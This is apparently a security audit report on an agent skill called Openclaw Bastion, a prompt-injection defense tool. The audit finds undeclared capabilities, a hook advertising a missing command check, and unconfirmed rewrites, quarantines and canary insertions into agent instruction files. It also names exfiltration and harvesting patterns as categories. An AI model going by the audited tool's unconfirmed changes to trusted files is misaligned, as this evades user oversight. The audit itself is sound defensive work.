Security audit

Openclaw Bastion

Security checks across malware telemetry and agentic risk

Overview

This is a local prompt-injection defense tool, but it also contains under-disclosed commands that can rewrite, move, and persistently modify workspace and agent instruction files.

Install only if you are comfortable treating this as an active workspace-mutating security tool, not just a scanner. Prefer scan/check/boundaries/status first, and use protect, sanitize, quarantine, unquarantine, canary, or enforce only after reviewing backups and affected files.

SkillSpector

By NVIDIA

Vulnerability Patterns

Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration

Findings (7)

Lp3

Medium

Category: MCP Least Privilege
Confidence: 87% confidence
Finding: The skill declares no permissions, but the documented commands invoke a local Python script that can read environment variables, scan arbitrary files/directories, create a policy file, and potentially inspect workspace content broadly. This mismatch can mislead users and policy engines about the skill's actual capabilities, reducing transparency and weakening least-privilege controls.

Intent-Code Divergence

Medium

Confidence: 95% confidence
Finding: The generated hook configuration advertises Bash command validation via a `check-command` subcommand, but no such subcommand is implemented in the CLI. This creates a false sense of protection: operators may believe command execution is screened when, in practice, the hook will fail or provide no enforcement.

Intent-Code Divergence

Medium

Confidence: 89% confidence
Finding: The module docstring claims active capabilities such as neutralizing threats, quarantining compromised files, deploying canary tokens, and enforcing content policies, but some of these protections are incomplete or overstated elsewhere in the code. Security tooling that overpromises protections can mislead users into trusting a defense boundary that does not actually exist.

Context-Inappropriate Capability

Medium

Confidence: 95% confidence
Finding: The canary deployment logic appends hidden HTML comments directly into trusted agent instruction and memory files. Modifying high-trust persistent context files changes the material an agent will later consume, which can create integrity issues, parser edge cases, or unintended prompt effects even if the inserted content is meant to be inert.

Missing User Warnings

Medium

Confidence: 90% confidence
Finding: The file-modifying commands perform safety-critical writes immediately after detection, creating backups but not requiring confirmation, dry-run review, or explicit opt-in. In an agent setting, this can let the skill autonomously rewrite workspace content and trusted files in response to broad pattern matches, causing integrity loss or workflow disruption.

Missing User Warnings

Medium

Confidence: 94% confidence
Finding: The quarantine command moves files out of their original paths without pre-action confirmation. In an automated agent environment, this can unexpectedly break builds, remove configuration, or deny access to legitimate files based on heuristic detections.

Missing User Warnings

Medium

Confidence: 88% confidence
Finding: Unquarantine restores files by moving them back to original paths without confirmation or collision safeguards beyond parent creation. This can overwrite expected workspace state or reintroduce risky content into trusted locations automatically.

VirusTotal

66/66 vendors flagged this skill as clean.

View on VirusTotal

Static analysis

Detected: suspicious.prompt_injection_instructions

Prompt-injection style instruction pattern detected.

Warn

Code: suspicious.prompt_injection_instructions
Location: README.md:56